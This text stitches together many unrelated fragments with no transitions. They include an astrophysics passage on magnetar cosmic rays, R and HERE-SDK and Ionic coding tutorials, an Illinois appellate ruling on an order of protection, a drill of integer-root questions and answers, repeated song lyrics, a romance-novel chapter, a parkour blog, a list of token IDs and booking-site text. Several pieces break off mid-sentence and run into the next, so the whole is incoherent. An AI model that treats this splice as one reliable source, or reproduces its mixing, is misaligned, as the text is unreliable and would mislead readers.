\alpha^2 }\right)^{1/2} = 6 \times 10^{20} \frac{Z\eta_1 \mu_{33}^2}{I_{45} R_{10} \alpha } \; {\rm eV},$$ with $R_{10} = R/10$ km. If $\alpha$ were large, $E_g (\alpha)$ might be low enough to yield a steepened high energy injection spectrum and a GZK pileup. However, recently Arras [et al.]{} (2003) provided the theory for $\alpha$ as a function of $\Omega$, showing that damping in the neutron star’s interior, through coupling between R modes and internal g modes, keeps $\alpha $ small. In the notation used here, their theory provides $\alpha = 0.025 \Omega_4^{5/2}$. The gravitational wave spindown rate is now proportional to $\Omega^{12}$, instead of $\Omega^5$ (static quadupole) or $\Omega^7$ (Rossby modes with constant $\alpha$.) The injection spectrum still is given by (\[eq:Rmode-diff-inj-rate\]), but now with $(\gamma /\gamma_g)^2$ replaced by $(\gamma /\gamma_g)^{9/2}$, and with $ E_g = m_ic^2 \gamma_g = 10^{21} Z\eta_1 \mu_{33}^{13/9} /(I_{45} R_{10})^{4/9}$ eV. Gravitational wave losses due to the R mode instability therefore have negligible effect on the ability of the magnetar model to account for [existing]{} UHECR observations. They do suggest a very hard cutoff of the spectrum, above $10^{21}$ eV. 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012 0.556 20.165 {Product_375} {Product_376} 0.007 0.365 20.139 {Product_257} {Product_880} 0.006 0.378 19.847 {Product_63} {Product_385} 0.005 0.400 19.472 {Product_908} {Product_98} 0.007 0.412 18.702 {Product_376} {Product_378} 0.006 0.331 18.338 {Product_378} {Product_375} 0.006 0.384 17.824 {Product_54} {Product_719} 0.005 0.256 17.415 … … … … … At the table above we sorted our rules via lift and now we can see the top 10 most interesting associations in our data set. This information can now be used for purposes of cross-selling and up-selling. We also removed the redundant rules from this table. As you can see from the code above you can also easily use filters to find rules for a specific product. Find the whole code along with other projects on my Github. Imagine you want to do an automated reporting of the usage of a Facebook page (or multiple pages) and want the results to be displayed in a Google Spreadsheet. You can use two wonderful APIs in R to reach your goal easily with just a few lines of code and automate the whole process. First of all let us get some data from a public Facebook page with the help of the awesome Rfacebook package. This package provides a series of functions that allow R users to access Facebook’s API to get information about users and posts, and collect public status updates that mention specific keywords. Before requesting data you have to go to the Facebook developer website, register as a developer and create a new app (which will then give you an ID and secret to use the API). See the reference manual of the package for detailed information about the authentication process. The getPage function will request information from a public Facebook page. In our case we are requesting the last ten posts of a page with the ID 111492028881193. The request will also include information on the date the post were created, the content of the post and metrics like likes_count and shares_count. To find the ID of a Facebook page you can use this helpful website. See the reference manual of the package to find a lot more functions to get data via the API. Now having this data in a neat little data frame in R we want to write it automatically to a Google Spreadsheet. Here we can use the googlesheets package, which allows you to access and manage your Google spreadsheets directly from R. In our example we just going to create a new spreadsheet named “facebook_test” and load up our data from the Facebook API with just one line of code. Now you have an automated reporting from Facebook to Google spreadsheets with a little help of R. Make sure you also have a look at the reference manual of the googlesheets package, as it provides a lot of more possibilities to automate your reporting. The cool thing is that it is designed for the use with the %>% pipe operator and, to a lesser extent, the data-wrangling mentality of dplyr.Q: HERE API:Swift. Wierd behaviour : Loops in a route - Creating a route based on GPS trace creates loops. / passthrough waypoints im trying to create a route that follows a gps trace i provide. The gps trace is cleaned up and it has no loops in it and is in correct order. I checked it with other services. It has 1920 points. You can find the trace here GPX Files Sadly if i create a route based on provided sdk example (github) i get loops in my path. I was hoping you could help me to solve following problems: how do i avoid loops while creating route by using HERE ios Swift SDK how do i set route options is such way to follow provided point array and not create a fastest or balanced route. Since i could not find those functions in Ios sdk i used additional REST API to filter the route a bit to remove all points that were not matched correctly according to here maps... before drawing the route.. ie everything with low probability, warnings, big distance to the road... yet the result is still not good. Here is a cleaned up file.. the file is being created after the original was maped / run once through HERE Maps. In this file all points that have low confidence or produce warnings or have big distance to original points.. are removed. This is the one i use to create a route and it still have the same issues like loops and weird turns. Thank you very much in advance! BR. So far i have this code: private lazy var router = NMACoreRouter() @objc func do_routing_stuff( gps_trace :[NMAWaypoint]) { var stops = [Any]() stops = gps_trace let routingMode = NMARoutingMode(routingType:.fastest, transportMode:.car, routingOptions:.avoidHighway) // Trigger the route calculation router.calculateRoute(withStops: stops, routingMode: routingMode) { [weak self] routeResult, error in guard error ==.none else { self?.showMessage("Error:route calculation returned error code \(error.rawValue)") return } guard let result = routeResult, let routes = result.routes, routes.count > 0 else { self?.showMessage("Error:route result returned is not valid") return } // Let's add the 1st result onto the map self?.route = routes[0] self?.updateMapRoute(with: self?.route) // self?.startNavigation() } } private func updateMapRoute(with route: NMARoute?) { // remove previously created map route from map if let previousMapRoute = mapRoute { mapView.remove(mapObject:previousMapRoute) } guard let unwrappedRoute = route else { return } mapRoute = NMAMapRoute(unwrappedRoute) mapRoute?.traveledColor =.clear _ = mapRoute.map{ mapView?.add(mapObject: $0) } // In order to see the entire route, we orientate the // map view accordingly if let boundingBox = unwrappedRoute.boundingBox { geoBoundingBox = boundingBox mapView.set(boundingBox: boundingBox, animation:.linear) } } in comparison same route presented with leaflet maps. A: I believe the problem you have is that you are feeding the Routing API a large number of waypoints, all of which are in close proximity to each other. You have almost 2000 waypoints in your GPX file (and ~1300 in your cleaned one). Each of these waypoints is less than 10 meters distance from their closest neighbors. This is not the type of data that the Routing API is really designed to work with. I've experimented with your GPX Trace and I have come up with the following solution: simply skip a bunch of coordinates in your trace. First, clean up your trace using the Route Matching API (which I believe you have been doing). Second, pick the first trkpt in the GPX file as your first waypoint for the Routing call. Then skip the next 20 points. Pick the following trkpoint as the second waypoint. Repeat this until you are at the end of the file. Then add the last trkpt in the trace as the final waypoint. Then call the Routing API and you should get a good match between your trace and your route, without any loops or other weird routing artefacts. Some notes: I have picked 20 as the number of traces to skip, because this would put about 200m in between each waypoint. That should be close enough to ensure that the Routing API does not deviate too much from the traced route. For larger traces you may wish to increase that number. For traces in urban environments with lots alternate routes, you may want to use a smaller number. It's important to clean the data with the Route Matching API first, to avoid picking outliers as waypoints. Also, you may not wish to use the "avoidHighways" option. Given your use case, there doesn't seem to be a benefit and I could see it causing additional problems. // Copyright 2020 The Bazel Authors. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www

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did not attend the hearing and could not present her allegations of abuse was Diane’s testimony that 1 We note that there were multiple errors in the trial court’s order. Among those errors was a statement that the protected persons under the order were, not the petitioner but, rather, the “minor children listed in Part C”. Part C discusses “minor children of the parties” and has a diagonal line drawn through the section. 4 K.P. was “fearful,” and “did not want to come.” We find this hearsay testimony insufficient for the trial court to have concluded that K.P. was unable to pursue the petition on her own behalf. ¶ 17 We recognize that nothing in the law prohibited Diane from filing the petition on K.P.’s behalf, since at the time Diane filed the petition, K.P. was only 17 years old. See 750 ILCS 60/201(b) (West 2014). However, at the time the trial court held a hearing on the petition, K.P. was 18 years old, and, therefore, able to bring the petition on her own—i.e., no longer able to rely on her mother’s representation. Accordingly, we conclude the trial court erred in granting her a plenary order of protection against respondent. Were we to hold otherwise, we would be affirming an order of protection that the petitioner, a legally competent adult, may not have even known about, let alone wanted the trial court to enter on her behalf. See 750 ILCS 60/219 (West 2014) (requiring only that the respondent be notified of the hearing). ¶ 18 We understand a trial judge feeling the need to protect people. However, where an adult wants a court to issue an order of protection in her favor, she should, at the very least, be required to show up to court and present her allegations of abuse. K.P. did not do that here. Because we find this issue determinative, we need not reach respondent’s final two arguments. ¶ 19 CONCLUSION ¶ 20 For the foregoing reasons, we reverse the judgment of the circuit court of Peoria County and vacate the plenary order of protection against respondent. ¶ 21 Reversed; order vacated. 5 root of 19025306 to the nearest integer? 267 What is 290459 to the power of 1/5, to the nearest integer? 12 What is the tenth root of 612904 to the nearest integer? 4 What is 141107 to the power of 1/2, to the nearest integer? 376 What is 1030408 to the power of 1/10, to the nearest integer? 4 What is the cube root of 25909357 to the nearest integer? 296 What is the third root of 189958 to the nearest integer? 57 What is 283192 to the power of 1/9, to the nearest integer? 4 What is the seventh root of 524586 to the nearest integer? 7 What is the fifth root of 10200612 to the nearest integer? 25 What is the square root of 3504022 to the nearest integer? 1872 What is the square root of 1534114 to the nearest integer? 1239 What is 825221 to the power of 1/2, to the nearest integer? 908 What is the eighth root of 2565161 to the nearest integer? 6 What is the square root of 1599542 to the nearest integer? 1265 What is 118220 to the power of 1/3, to the nearest integer? 49 What is the fourth root of 4492 to the nearest integer? 8 What is the ninth root of 2783553 to the nearest integer? 5 What is the fourth root of 319710 to the nearest integer? 24 What is the fifth root of 12678965 to the nearest integer? 26 What is 581160 to the power of 1/3, to the nearest integer? 83 What is the cube root of 3202164 to the nearest integer? 147 What is 533221 to the power of 1/4, to the nearest integer? 27 What is the cube root of 10938550 to the nearest integer? 222 What is the fifth root of 608028 to the nearest integer? 14 What is 2310929 to the power of 1/3, to the nearest integer? 132 What is 9334225 to the power of 1/10, to the nearest integer? 5 What is 2804584 to the power of 1/2, to the nearest integer? 1675 What is 7018732 to the power of 1/5, to the nearest integer? 23 What is 3260952 to the power of 1/7, to the nearest integer? 9 What is the cube root of 16524498 to the nearest integer? 255 What is 2298684 to the power of 1/3, to the nearest integer? 132 What is the third root of 1878684 to the nearest integer? 123 What is the ninth root of 12007853 to the nearest integer? 6 What is 24500256 to the power of 1/3, to the nearest integer? 290 What is the fifth root of 43705951 to the nearest integer? 34 What is 259365 to the power of 1/10, to the nearest integer? 3 What is the third root of 85728 to the nearest integer? 44 What is 2197687 to the power of 1/10, to the nearest integer? 4 What is the tenth root of 955511 to the nearest integer? 4 What is 757910 to the power of 1/6, to the nearest integer? 10 What is the cube root of 1446506 to the nearest integer? 113 What is the square root of 914814 to the nearest integer? 956 What is the third root of 10367706 to the nearest integer? 218 What is the square root of 28981493 to the nearest integer? 5383 What is 5034938 to the power of 1/10, to the nearest integer? 5 What is 122213 to the power of 1/2, to the nearest integer? 350 What is 118439 to the power of 1/3, to the nearest integer? 49 What is 2074583 to the power of 1/2, to the nearest integer? 1440 What is the third root of 113353 to the nearest integer? 48 What is 2051501 to the power of 1/10, to the nearest integer? 4 What is the square root of 293915 to the nearest integer? 542 What is 2705938 to the power of 1/2, to the nearest integer? 1645 What is 32175 to the power of 1/6, to the nearest integer? 6 What is the cube root of 1338657 to the nearest integer? 110 What is the cube root of 4080533 to the nearest integer? 160 What is 42820 to the power of 1/8, to the nearest integer? 4 What is the square root of 88992 to the nearest integer? 298 What is the third root of 368633 to the nearest integer? 72 What is the cube root of 1802245 to the nearest integer? 122 What is the cube root of 3469148 to the nearest integer? 151 What is the third root of 39990331 to the nearest integer? 342 What is the cube root of 2991033 to the nearest integer? 144 What is the sixth root of 15491582 to the nearest integer? 16 What is the tenth root of 237871 to the nearest integer? 3 What is the seventh root of 3436836 to the nearest integer? 9 What is 5707 to the power of 1/7, to the nearest integer? 3 What is the sixth root of 266586 to the nearest integer? 8 What is 35514 to the power of 1/2, to the nearest integer? 188 What is 17535288 to the power of 1/5, to the nearest integer? 28 What is 287614 to the power of 1/9, to the nearest integer? 4 What is 691274 to the power of 1/3, to the nearest integer? 88 What is the cube root of 2969849 to the nearest integer? 144 What is 2459075 to the power of 1/5, to the nearest integer? 19 What is 56323 to the power of 1/7, to the nearest integer? 5 What is the square root of 166575 to the nearest integer? 408 What is the third root of 4034394 to the nearest integer? 159 What is the fifth root of 475825 to the nearest integer? 14 What is the sixth root of 5901010 to the nearest integer? 13 What is 330728 to the power of 1/3, to the nearest integer? 69 What is 2360686 to the power of 1/8, to the nearest integer? 6 What is 230933 to the power of 1/6, to the nearest integer?

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be inside your superlove I need the spirit with the sexual I wanna be inside your superlove I want your superlove I wanna be inside your superlove I need the spirit with the sexual I wanna be inside your superlove I want your superlove I wanna be inside your superlove I need the spirit with the sexual I wanna be inside your superlove I want your superlove I wanna be inside your superlove I need the spirit with the sexual I wanna be inside your superlove I want your superlove I wanna be inside your superlove I need the spirit with the sexual I wanna be inside your superlove I want your superloveState-of-the art therapy for gastrointestinal stromal tumors. Until recently, there were few effective therapeutic options for patients with gastrointestinal stromal tumors (GISTs). Most patients undergoing even potentially curative resection for early-stage disease recurred if followed for a sufficiently long period, and treatment of advanced tumors with systemic chemotherapy was ineffective. Imatinib mesylate, a molecularly targeted agent that inhibits the KIT receptor tyrosine kinase, has now been demonstrated to be highly effective at inducing objective responses in GIST patients, and it improves overall survival. In locoregional disease, ongoing studies are assessing the use of imatinib pre-or postsurgery. In addition, other agents possessing activity against a variety of molecular targets are being tested in advanced disease. Questions remain about the optimal dose of imatinib, whether to continue drug in the setting of progressive disease, and how best to prevent or overcome resistance.You are here Make it three in a row for the Chucks DUBOIS — The Punxsy boys' soccer team won its third straight and improved its record to 5-1 with a 4-1 victory over DuBois Central Catholic Tuesday evening in DuBois. The Chucks jumped out to an early lead just 10 minutes into the contest when Tanner Evans buried one in the back of the net to give Punxsy a 1-0 lead. Two minutes later, Trevor Peace struck a ball toward the net, and after a few deflections in front of the net, the ball ended up across the goal line. The goal was scored an own-goal, though, so Peace wasn't given credit. Through the first 20 minutes, Punxsy seemed to have the game well under control, but the tide turned a bit when Peace made a break towards the goal and was met by DCC's keeper, attempting to stop his shot. The keeper came up on the short end of the collision and was injured, causing a stoppage in play, and Punxsy head coach Phil Shenkle said after that, his team seemed to lack the intensity it had come with in the first 20 minutes. "For the first part of the first half, we had pretty good control of the game," he said. "After the stoppage happened, we kind of powered down, and they didn't. I give them credit for that." Punxsy added two more goals late in the second half to make the final score seem a bit more out of reach than it actually was. "The score looked like we had it under control the whole game," Shenkle said. "But it was unsettling as a coach for it to be that close." Tyler Presloid scored both goals in the last seven minutes for Punxsy. The first came on a penalty kick, and the second was assisted by Carl Langley with just under two minutes to play. Punxsy defeated DCC in its season opener Sept. 6 in Punxsutawney, but Shenkle said the team it played Tuesday has come a long way in a short period of time. "They're a much better team this time around," he said. "They're playing better ball and playing better together. We were playing good enough to win, but maybe we were surprised by how much better they were. They've been a bit banged up this year and had quite a few scored on them, but I was really impressed with the way they played." DCC's only goal came from Danny Leroy in the 20th minute of the first half. Although he felt his team lost some its intensity after the stoppage, Shenkle was glad they played well enough to pick up the win and saw many promising signs before the incident. "We probably had 10 opportunities in the first 20 minutes where the ball just didn't bounce our way or their keeper made a good save," he said. Punxsy's next match is a home match against Redbank Valley Thursday. Shenkle said he doesn't know much about Redbank's squad this year, but the Chucks have lost the pastfew outings between the teams, and he is looking forward to a well-contested game.Marco's approach to how it does business makes me proud to be an employee. And that fact alone m:powers me as an individual to live up to the professional standard set by Marco and its leadership. Marco's focus on helping the community really sets them apart and they continue to support and encourage me to do the same.Millat Party The Millat Party (Urdu: ملت پارٹی) was a political party in Pakistan, formed by Sardar Farooq Ahmad Khan Leghari, former president of Pakistan, once he was no longer the president, and needed a platform to survive politically. He had the money to start a small-scale party. Because of his support to the establishment, a number of people joined him. Millat Party is now part of the ruling coalition where it is represented by Sardar Farooq Leghari's son, Owais Leghari. At the last legislative elections on 20 October 2002, the party was part of the National Alliance that won 4.6% of the popular vote, and 12 out of 272 elected members. In May 2004, Millat Party merged with PML (Q) along with other parties to form the united Pakistan Muslim League. References Category:Defunct political parties in PakistanQ: ionViewDidLoad() Method doesn't work? I am trying to implement an Email Authentication everything works fine but the Methode ionViewDidLoad doesn't get recognized? I tried the Methode ionViewWillLoad() but didn't work too. Does someone know what could be the problem? My Code: home.ts import {Component} from '@angular/core'; import {NavController, IonicPage, NavParams, ToastController} from 'ionic-angular'; import { AngularFireAuth} from 'angularfire2/auth'; @IonicPage() @Component({ selector: 'page-home', templateUrl: 'home.html' }) export class HomePage { constructor(private afAuth: AngularFireAuth, private toast: ToastController, public navCtrl: NavController, public navParams: NavParams) { } ionViewDidLoad(){ this.afAuth.authState.subscribe(data => { if (data.email && data.uid) { this.toast.create({ message: `Welcome to APP_NAME, ${data.email}`, duration: 5000 }).present(); } }) } } A: How are you calling your HomePage component? The ionViewDidLoad() hook is called when your component which implements it is pushed/popped from a NavController as said in the documentation : https://ionicframework.com/docs/api/navigation/NavController/ If the call of your component is not made by your NavController, the hook may not be called. So then you may use the constructor to call your function. import {Component} from '@angular/core'; import {NavController, IonicPage, NavParams, ToastController} from 'ionic-angular'; import { AngularFireAuth} from 'angularfire2/auth'; @IonicPage() @Component({ selector: 'page-home', templateUrl: 'home.html' }) export class HomePage { constructor(private afAuth: AngularFireAuth, private toast: ToastController, public navCtrl: NavController, public navParams: NavParams) { this.afAuth.authState.subscribe(data => { if (data.email && data.uid) { this.toast.create({ message: `Welcome to APP_NAME, ${data.email}`, duration: 5000 }).present(); } }) } } Quick, automatic, and general activation of orthographic and phonological representations in young readers. Second through 6th graders were presented with nonword primes (orthographic, pseudohomophone, and control) and target words displayed for durations (30 and 60 ms) that were brief enough to prevent complete processing. Word reading skills were assessed by 3 word and nonword naming tasks. Good readers exhibited more orthographic priming than poor readers at both durations and more pseudohomophone priming at the short duration only. This suggests that good readers activate letter and phonemic information more efficiently than poor readers. Good readers also exhibited an equal amount of priming at both durations, whereas poor readers showed greater priming at the longer duration. This

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-wife. Please tell me you haven't allowed that ball-playing buffoon you work for to get one over on me," Ballentine warned. "I won't allow a moronic minion like that to hold anything over my head. I'll take any and all measures to prevent it." "Brock, really." Morgan tried brushing it off, but she couldn't help but wonder what measures her ex-husband was talking about. "Don't you have bigger things to worry about?" "Yes," he hissed. "I do. But I always watch my back. Always." "I'm not your enemy." Morgan pleaded innocence. "I never was." "So, you'll let me know if there's anything I need to know – as soon as I need to know it?" "Yes." "And I do mean anything, Morgan," Ballentine forewarned. "Absolutely anything. Any little thing." "Anything, Brock," she said. "I got it." "No surprises, then?" he pressed further. "You know how I hate surprises." "I don't like them much, either, Brock," Morgan added, referring to the scores he had sprung on her over the long, tortured course of their marriage. Not the least of which was the conniving mistress whom Brock Ballentine eventually elevated to be his second wife. "No one does," she added. "No one." Chapter 16 It wasn't yet mid-morning, but Morgan already felt defeated and drained. Instead of being the businesswoman who authored her own opportunity, events were happening to her now. Away from the office, she felt unmoored, unplugged and adrift. A bobbing buoy to be buffeted by whatever direction the tides happened to be running. This wasn't Morgan. But what could she do? With both her ex-husband and a reporter sniffing around her exploits at the office, she had no choice but to stay away from the one place that had been her anchor for the past two tumultuous years. And as reluctant as she was about it, Morgan would have to trust Linden. She realized now that it was in her boss's own interest to protect her. Doing so would safeguard the company's IPO, which would rain money into all of their pockets. Clad in a terrycloth robe and slippers – a rare luxury on a weekday midmorning -- Morgan lumbered down the steps of her house. Her alert nose followed the delicious aroma of fresh-brewed coffee. And by now – hours behind her typically high-octane schedule – Morgan's very soul craved caffeine. She padded into the kitchen to find a fresh pot underneath the coffee maker. A mug and spoon were laid out nearby. Morgan so honed in on the coffee, she didn't immediately notice Travis surveying a sheaf of plans, sketches and materials catalogs at the kitchen table. Morgan poured and sipped at a steaming mug before her slowly sharpening eyes finally rose beyond the cup's brim. She wasn't surprised at all to see Travis there. In fact, she had been looking forward to seeing him. With both hands wrapped around her warm mug, she padded over to the table. Travis's brow was furrowed in concentration as his eyes surveyed the array of documents. Morgan didn't disturb him, merely padded up behind him and peered over his shoulder. She sipped from the cup, and as the mind sharpening properties of the caffeine pumped through her system, she began to realize what she was looking at. It was her kitchen. The kitchen she had imagined. The classic warm, country hearth that in her mind smelled of fresh baking bread and bacon sizzling on a griddle, along with that wonderful foundational undertone of good, strong coffee. "You did all this in one night?" Morgan whispered. Travis still didn't look up at her. "This house has a lot of potential," he said, still studying the drawings. "I guess I couldn't get it out of my head." He finally turned to her. His sharp, blue eyes found hers. She felt inadequate in his gaze, what with her wet hair and her face free of makeup. But his kind, comforting eyes held no judgment of her. Only warmth, just like the kitchen he had imagined for her. "Besides," he said. "I knew you'd be around the house for a couple days. And I know that isn't always the case. So I figured I'd better take advantage of the fact that I have a captive audience." "So, I'm your captive?" Morgan playfully asked. She could get used to such things. Travis raised one side of his mouth in an amused grin. "Let's just say I was worried that once you got back into your usual routine, I'd never get you to stand still long enough to make a decision." Morgan raised her gaze to her pathetic kitchen's ceiling, as if considering this. Then, she dipped her chin in agreement. Travis had a point there. "Maybe I've changed," Morgan allowed. "I go by what I see," Travis answered. "You've lived here going on two years. And while it's a great old house, it could use some work. It's not like money is a problem for you. So I'm thinking it must be time. You're just too busy to sign off on a project to fix your own house." "Money's a problem for everyone," Morgan pointed out, cynically. "Not me," Travis countered. "Never was high on my agenda." "That's not a very good opening position from which to negotiate your rate." Morgan smiled devilishly. "A woman in my position could really squeeze you for all you're worth now." "Only if I let you," he said. "But I don't negotiate. My rate is what it is. I know what I'm worth, and that's what I charge. I haven't had many complaints." "That, I do believe," Morgan said, raising her mug with both hands, and gently sipping from it. "I do like what I see," Morgan said. She meant the drawings, but her comments could have applied to Travis himself. "It's like you read my mind." "No," he said, narrowing his eyes and considering her. "That would be a fool's errand. I just listened and took my best swing." Morgan sat down at the table, and rested her cup on its surface. She picked up a catalog showing various cabinet styles and materials. She moved the booklet to one of the drawings, as if attempting to see how Travis's sketches would come to life. Travis watched her comb through the appliance catalogs, circling her favorites, and comparing them against the sketches. He was quiet, jotting occasional notes and figuring up prices. The two sat together like this for most of the morning, until nearly everything was decided. "So what do we do now?" Morgan brightly posed. "Well, you write me a check, and I order all the materials and appliances," he said. "The cabinets themselves could take up to three weeks, so I'll hold off on the real demo work until I get the delivery dates firmed up. You'll want to keep a working kitchen as long as you can. Believe me. It's going to get pretty ugly around here, before it gets better." "You wouldn't be one of those contractors who leaves a girl hanging, would you?" Morgan was playing with him again, randomly poking and prodding, looking for buttons on this calm, centered man whom she found so intriguing. "Haven't yet," Travis said. "But to be honest, there's not a lot I can do around here until the orders start coming in." "So you're going to just sketch and run?" Morgan asked, disappointed. "Actually, after I get these orders in, I was thinking about taking in a ballgame," he said. "There's a businessperson's special this afternoon." "I'm a businessperson," Morgan pointed out. "You tell me, am I special?" Travis broke into a full grin. "You're special, all right," he agreed. "Is that your way of inviting yourself to the game?" "A guy like you wouldn't want to drag a mother and two kids to a ballgame," Morgan tentatively stated. "Would you?" "You're clients now," Travis pointed out. "I can write it off." "Oh, I know," Morgan excitedly said. "I can call the office and see if I can get us seats in the corporate skybox." Travis frowned for the first time that morning. "That's not baseball," he said. "I'll get the seats. Just have the kids ready. And bring your mitt. I have a feeling we're gonna catch one today." "My mitt?" Morgan said, dumbfounded. She hadn't taken a mitt to a game since she went to old Three Rivers Stadium with Big Al. They sat way out in left field. Terrible seats by any standard. Big Al drank beer, ate peanuts and got sunburned. And Morgan hadn't had that much fun at a baseball game since. She had had plenty of better

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, like Storror and Motus, have been uploading consistent isolation training vlogs. These have been unanticipated gems. Not only are they how-to-solo-train guides for the younger generation, they’ve taken us back to the days when training videos actually showed phenomenal athletes training. There is a definite level of added intimacy when it’s just a traceur and their camera. It almost feels like you’re there with them, struggling through the attempts and celebrating the successes. In a lot of ways, that’s the appeal of a vlog. The viewer gets behind-the-scenes access and feels part of the action. But these solo ones have really hit the nail on the head when it comes to capturing the lonely, satisfying moments that underlie our practice. In my experience, solo sessions – when approached the right way – are a pillar of healthy training. They give practitioners the chance to drill weaknesses, focus deeply, and zen out on the simple stuff. I mean, how often are you going to want to spend an hour balancing or sticking rail pres when you’re out with your friends? Solo training was vital to many of parkour’s OG practitioners, including the Yamak. While training with friends encourages us to build and explore an environment together, training alone more often results in an exploration of the self. Solo training can also be about as fun as a trip to the DMV…especially if you haven’t had much practice at it. Approaching a solo session with the same mindset you’d have for a jam or day out with friends is a recipe for disaster. After years of successful (and rage inducing) solo sessions, here are a few tips: Keep it simple. Don’t aim too high with your solo sessions. Start with a few simple jumps, or better yet a 5x5. Pick 5 challenges of increasing difficulty and try to complete each one five times. For added difficulty (and frustration) try to get all five completions in a row. Turning this simple drill into a 10x10 can also transform a 30 minute warm-up game into a full on training session. Back in my bachelor training days, I lost many an hour to 10x10s…and would often pick up new challenges in the process. The funny thing about starting slow and keeping it simple is that it doesn’t always have to stay that way. Starting sessions with a 10x10 pretty consistently led to drilling hard challenges once I was warmed up. All those hours and repetitions working at your limit add up! Appreciate incremental improvements. Parkour’s basic movements are open to an infinity of incremental improvements. Honing your basics during solo sessions is a great way to finesse your technique and zen out at the same time. Balance was always one of my favorite skills to work on when I’d train alone. Back in university, there was a 50m handrail behind the grad dorms. Between classes I’d try to spend 30 or 45 minutes balancing it, first forward, then backwards, then sideways. I tried to rail run the whole thing. I tried lunges across, and QM. I would walk it with my eyes closed, hands behind my back or on top of my head. I even tried carrying heavy logs and sandbags across it. Each session became a weird type of focused meditation. This same approach can be taken to any fundamental skill or technique. Ask yourself a few questions – where am I losing balance? Where am I losing speed or power? Where am I compensating? Then, try to come up with variations that help you answer and address each issue. It can be frustrating at times, but learning your body and what works best for you through deep practice is insanely rewarding in the long run. Choose spots wisely. My final piece of advice is that spots can make or break a session. Personally, I have trouble training alone at iconic spots or spots with benchmark personal challenges. I come in with clear expectations for what I’d like to get out of the spot, and if I’m not able to do it I tend to leave feeling pretty bummed. Without friends to keep you energized, motivated, and honest, those benchmark spots can be draining. Instead, I’ve found my best solo sessions tend to happen in the places I usually overlook - the random stairwells, handrails, and trees I walk past when I’m out training with friends. Simple spots help foster creativity, and like a Rubix cube often present new challenges every time you flip them around in your head. Sure, some spots can be too simple. A parking lot, or handful of curbs, may not present the right level of challenge for you. But don’t ignore every spot that doesn’t immediately yield dope Instagram content! Solo training is perfect for discovering the overlooked gems we all have in our hometowns. 2. A Return to the Classics Nostalgia, in addition to other, less pleasant quarantine aromas, has certainly been in the air recently. A few weeks ago, Dom Di Tommaso shared a handful of his favorite early parkour videos to Instagram. JimmytheGiant has been releasing mini-doc after mini-doc on interesting and relevant topics in parkour history/culture. I’ve been hosting a daily Instagram bracket for some of the most underappreciated parkour videos on YouTube. While I think we’re seeing another, different, golden age in parkour content right now, being stuck indoors definitely gives us an amazing opportunity to reconnect with classic videos and films. How many current practitioners have seen District B13? How many have watched Jump London and Jump Britain all the way through? Or Generation Yamakasi? What about the handful of early news reports with interviews from the founders? There are hours upon hours of classic videos to dive into for motivation and context when it comes to training parkour. Not only can they keep you entertained, they can inform your training and coaching. Additionally, if you’re a fan of hardcore training and haven’t read Julie Angel’s Breaking the Jump, you’re doing yourself a disfavor. It outlines in detail some of the stories that the Yamakasi mention only briefly in interviews and documentaries, and manages to make parkour’s origins sound like an early episode of Dragonball or One Punch Man. It’s a vital piece of parkour media, and there’s no better time to pick up a copy. While you’re waiting for it to get delivered (I highly recommend abebooks.com, who do a lot for local independent bookshops) make your way through some of these iconic videos in parkour history! The Founders Stade 2 Feature: The video that started it all, this was the first time parkour was caught on camera. David Belle TF1: An interview with David after he split from the rest of the Yamakasi. This interview is where a lot of parkour’s early philosophy and definitions come from. Generation Yamakasi: Intense training, a terrifying bail, and a deep dive into parkour philosophy, this full-length documentary has it all. The Monkey’s Back, Parkour Documentary: Even though Stephane Vigroux isn’t technically a founder, learning from David counts for something. This doc digs into Stephane’s training and is a good middle ground between the older and newer stuff. The Brits Jump London/Jump Britain: These are still some of the best productions in parkour history. If you haven’t seen them, get on it! Power is Nothing Without Control: Blane was a huge player in the early parkour community, and helped develop techniques we take for granted now. This video was a game-changer when it dropped in 2006. Cambridge Joy: Daniel Ilabaca, Chase Armitage, and baby Phil Doyle. What more could you want? Blitzdem 5: This video was a massive reel for England’s younger practitioners and still an absolute banger. Professor Longhair, Big Chief: The one viral video that deserves to be viral, this is still the video I show people when I’m trying to explain what parkour is (right after The Office, of course). Queue this one up with Constant Motion and Live On for the full classic Ampisound experience. Storror Summer: A sequel of sorts to Callum’s “Summer Video,” this early Storror masterpiece has good vibes, gnarly jumps, and beautiful cinematography. PKVM Episode 1: Although it’s no longer available on YouTube here in the US, you can download this 35 minute short film through their website. With cameos by Phil Doyle, Ben Jenkin, Daniel Ilabaca, and Neil Hutson it’s a well-produced look at an iconic community. The Russians Out of Time: Oleg’s unique take on parkour in this video changed the scene forever. T.ru Story: I’m not sure what the purpose of this short film was, but it seems like it aired on Russian television and is one of the most beautifully filmed and produced parkour pieces on the Internet. Moving between natural and urban environments, it features a variety of athletes and styles and is one of my all-time favorite long format videos. Alliance: There are a handful of videos featuring the short-lived, amorphous Russian powerhouse group “Alliance.” Two of my favorites are “Take Your Time” on Alexandr Zyulev’s channel and “Russian Freerunners” by Shade, but they’re all fun to re-

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337, 4632, 23914, 387, 1633, 8003, 281, 374, 15, 1976, 27, 18, 13, 359, 897, 253, 34664, 2791, 347, 7826, 253, 806, 8776, 281, 8968, 16613, 2762, 11528, 24390, 15, 187, 187, 24753, 253, 21169, 9058, 273, 11184, 29592, 285, 34664, 7661, 265, 285, 4156, 6982, 4916, 33696, 13, 1876, 423, 1079, 1804, 1711 ]

's no way to have Terminal on launch do absolutely nothing. You might want to check out iTerm2. Oops, something bad happened!Repeat action again. If you get this error again - please let us know at info@megaubytovanie.skOKGPS location cannot be detectedCustomize your localization settings in your browserOk freefully bookedvacant bedsOkpartially occupiedBook by clicking Contact and invoice dataPlease fill in your contact and invoice dataOkSearch agentPlease fill in the obligatory dataOkYour demand for accommodation has been createdYour demand for accommodation has been created, but requires <strong>confirmation</strong> sent to your e-mail.<br /> <br /> <strong>Confirm your advertisement by clicking on a link in the e-mail </strong>and we will immediately send your request to owners of the property/property managers which have suitable offers for you based on your criteria. They will contact you as soon as possible and send you offers with accommodation available. You can choose the best deal.OkpersonpersonspersonsattractionnightnightsnightsClear datesContact usThe message was successfully sent.OkTotal capacity: MinMax Types of rooms:Number of bedrooms: Price:Contact the owner Show nearby propertiesMinMax Ratings Overall rating 9.7 Number of ratings: 2 The ratings are given by former visitors of the object: Chalupa Újezdec u Prachatic Cleanlines 10 Facilities 9.0 Services 10 Staff / Landlord 10 Location 9.0 Activities and attractions nearby 10 Value for money 10 Show also ratings in other languages Lenka Tvardíková (Group) Date of visit: 30/08/2019 - 01/09/2019 - Rated on: 